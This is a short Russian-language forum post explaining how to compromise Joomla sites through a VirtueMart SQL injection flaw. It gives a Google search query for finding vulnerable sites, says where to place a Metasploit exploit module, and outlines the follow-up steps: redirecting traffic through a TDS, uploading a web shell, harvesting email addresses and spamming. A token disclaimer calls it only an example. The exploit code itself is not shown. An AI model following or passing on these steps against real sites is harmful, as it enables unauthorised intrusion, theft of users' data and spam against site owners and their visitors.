делается это всё при помощи mysql иньекций (скули) нужно в эту сторону смотреть. затем ставиться TDS и весь трафик переливается куда-то.вот пример как это делается
показано как можно получить админа с помощью SQL уязвимости в движке Joomla v 1.1.2 . Virtuemart-expl
Для нахождения бажных ресурсов использовал запрос:
Цитата:
[TABLE]
[TR][TD]inurl: (убрать скобки) option,com_virtuemart[/TD][/TR]
[/TABLE]
Вбиваете в гугл, выбираем любой из ресурсов и пробуем c помощью сплойта раскрутить SQL-инъекцию.
(Закидываем сплойт в exploit/unix/webapp/virtuemart-expl , перед этим сохранив его в virtuemart-expl.rb.)
В видео используется сплойт:

Это только пример использования сплойтов, а не побуждение к действию.
Что дальше делать думаю всем известно, заливаем шелл, сливаем мыла, отправляем что-нибудь.
